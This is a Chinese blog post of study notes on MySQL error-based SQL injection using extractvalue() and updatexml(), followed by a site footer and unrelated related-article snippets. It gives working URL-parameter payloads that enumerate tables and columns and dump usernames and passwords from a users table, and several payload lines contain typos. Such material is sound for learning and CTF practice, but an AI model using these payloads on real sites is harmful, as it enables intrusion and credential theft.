sql知识总结二

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个“无加区别”:后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个  参数XML文档对象名称,第二个参数  路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)——>提示报错信息   [我们需要通过报错信息来尝试报错出我们需要的信息]

 然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e  是  ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者 

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题 

select substring(123456,1,3)  第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符 

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/553131.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java 集合(ArrayList、LinkedList、HashMap、HashSet、LinkedHashMap、LinkedHashSet)【补充复习】

Java 集合&#xff08;ArrayList、LinkedList、HashMap、HashSet、LinkedHashMap、LinkedHashSet&#xff09;【补充复习】 Java 集合概述Collection 接口继承树Map 接口继承树 Collection 接口方法使用 iterator 接口遍历集合元素使用 forearch 遍历集合元素 List 接口List 实…

媒体邀约的好处?怎么邀请媒体?

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 媒体邀约的好处主要体现在提高品牌知名度、扩大受众群体以及与媒体建立良好的合作关系。 媒体邀约是一种有效的公关策略&#xff0c;通过吸引媒体关注来促进信息的传播。它可以帮助组织…

传统大数据架构与现代数据平台的期望——Lakehouse 架构(二)

文章目录 前言数据仓库数仓基础好处和优势限制和挑战 数据湖数据湖基础好处和优势限制和挑战 现代数据平台云数据湖与云数仓组合架构现代数据平台的期望Lakehouse 架构的出现未来数据平台的默认选择&#xff1f; 总结 前言 本文概述了传统数据架构&#xff1a;数据仓库和数据湖…

【Linux系列】Ctrl + R 的使用

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

python后端相关知识点汇总(十二)

python知识点汇总十二 1、什么是 C/S 和 B/S 架构2、count(1)、count(*)、count(列名)有啥区别&#xff1f;3、如何使用线程池3.1、为什么使用线程池&#xff1f; 4、MySQL 数据库备份命令5、supervisor和Gunicorn6、python项目部署6.1、entrypoint.sh制作6.2、Dockerfile制作6…

8.Jetson AGX Orin Ubuntu20.04 gRPC编译安装

Jetson AGX Orin Ubuntu20.04 gRPC编译安装 一、CMake版本检查 grpc编译cmake要求最低版本为3.15。首先&#xff0c;cmake -version 查看当前cmake版本&#xff0c;如果低于3.15&#xff0c;按照以下步骤进行安装。 1.1 卸载已经安装的旧版的CMake sudo apt-get autoremove…

Redmi Turbo 3新品发布,天星金融(原小米金融)优惠加持护航新机体验

Redmi新十年使命不变&#xff0c;挑战不断升级。Redmi Turbo 3&#xff0c;作为Turbo系列的开篇之作&#xff0c;将自身定位为新生代性能旗舰&#xff0c;决心重塑中端性能新格局。据悉&#xff0c;Redmi Turbo 3于4月10日已正式发布。预售期间更是连续数日&#xff0c;蝉联小米…

mac终端使用代理加速下载

环境变量增加前IP&#xff1a; 环境变量配置后&#xff0c;新打开一个终端的ip&#xff0c;开始享受极速吧~

【Python基础】MySQL

文章目录 [toc]创建数据库创建数据表数据插入数据查询数据更新 个人主页&#xff1a;丷从心 系列专栏&#xff1a;Python基础 学习指南&#xff1a;Python学习指南 创建数据库 import pymysqldef create_database():db pymysql.connect(hostlocalhost, userroot, passwordr…

【GIS教程】土地利用转移矩阵、土地利用面积变化

随着科技社会的不断进步&#xff0c;人类活动对地理环境的影响与塑造日益明显&#xff0c;土地不断的侵蚀与改变也导致一系列的环境问题日益突出。土地利用/覆盖&#xff08;LUCC&#xff09;作为全球环境变化研究的重点问题为越来越多的国际研究机构所重视&#xff0c;研究它的…

Python大数据分析——岭回归和LASSO回归模型

Python大数据分析——岭回归和LASSO回归模型 模型原因列数多于行数变量和变量间存在多重共线性 岭回归模型理论分析函数示例 LASSO回归模型理论分析函数示例 模型原因 我们为什么要有岭回归和LASSO回归呢&#xff1f; 因为根据线性回归模型的参数估计公式β(X’X)-1X’y可知&…

3DGS渐进式渲染 - 离线生成渲染视频

总览 输入&#xff1a;环绕Object拍摄的RGB视频 输出&#xff1a;自定义相机路径的渲染视频&#xff08;包含渐变效果&#xff09; 实现过程 首先&#xff0c;编译3DGS的C代码&#xff0c;并跑通convert.py、train.py和render.py。教程如下&#xff1a; github网址&#xf…

HarmonyOS开发实例:【分布式手写板】

介绍 本篇Codelab使用设备管理及分布式键值数据库能力&#xff0c;实现多设备之间手写板应用拉起及同步书写内容的功能。操作流程&#xff1a; 设备连接同一无线网络&#xff0c;安装分布式手写板应用。进入应用&#xff0c;点击允许使用多设备协同&#xff0c;点击主页上查询…

spring06:mybatis-spring(Spring整合MyBatis)

spring06&#xff1a;mybatis-spring&#xff08;Spring整合MyBatis&#xff09; 文章目录 spring06&#xff1a;mybatis-spring&#xff08;Spring整合MyBatis&#xff09;前言&#xff1a;什么是 MyBatis-Spring&#xff1f;MyBatis-Spring 会帮助你将 MyBatis 代码无缝地整合…

【VIC水文模型】准备工作:平台软件安装

VIC水文模型所需平台软件安装 1 Arcgis安装2 Cygwin安装&#xff08;Linux系统&#xff09;3 Matlab/R/Fortran的安装Notepad 4 VIC模型程序代码获取参考 由于VIC模型的编程语言为C语言&#xff0c;交互方式为控制台输指令&#xff0c;需要在Linux系统上运行。Windows 上使用 …

简述PDF原理和实践

Hello&#xff0c;我是小恒不会java。 由于最近有输出PDF报表的项目需求&#xff0c;所以复习一下PDF到底是什么&#xff0c;该如何产生&#xff0c;如何应用至项目中。 更多参见Adobe官方文档&#xff08;https://www.adobe.com/cn/&#xff09; PDF原理 PDF&#xff08;Port…

Docker应用推荐个人服务器实用有趣的项目推荐

Wallabag&#xff1a;是一个开源的、自托管的文章阅读和保存工具。它允许你保存网页文章并进行离线阅读&#xff0c;去除广告和不必要的内容&#xff0c;以提供更好的阅读体验。Wallabag支持多种导入和导出格式&#xff0c;并提供了一些实用的功能&#xff0c;如标签、阅读列表…

Flutter 像素编辑器#03 | 像素图层

theme: cyanosis 本系列&#xff0c;将通过 Flutter 实现一个全平台的像素编辑器应用。源码见开源项目 【pix_editor】 《Flutter 像素编辑器#01 | 像素网格》《Flutter 像素编辑器#02 | 配置编辑》《Flutter 像素编辑器#03 | 像素图层》 上一篇我们实现了编辑配置&#xff0c;…

【R语言】组合图:散点图+箱线图+平滑曲线图+柱状图

用算数运算符轻松组合不同的ggplot图&#xff0c;如图&#xff1a; 具体代码如下&#xff1a; install.packages("devtools")#安装devtools包 devtools::install_github("thomasp85/patchwork")#安装patchwork包 library(ggplot2) library(patchwork) #p1是…

Spark/SparkSQL读取Hadoop LZO文件概述

一、前置配置 IDEA Maven安装配置 Scala&#xff08;可选&#xff09; Java Hadoop.dll&#xff08;可能需要&#xff0c;具体看有无相关错误信息&#xff09; hadoop-lzo-0.xx.xx.jar&#xff08;如果你的版本过高&#xff0c;需要到官网下载高版本&#xff0c;mvnrepository仓…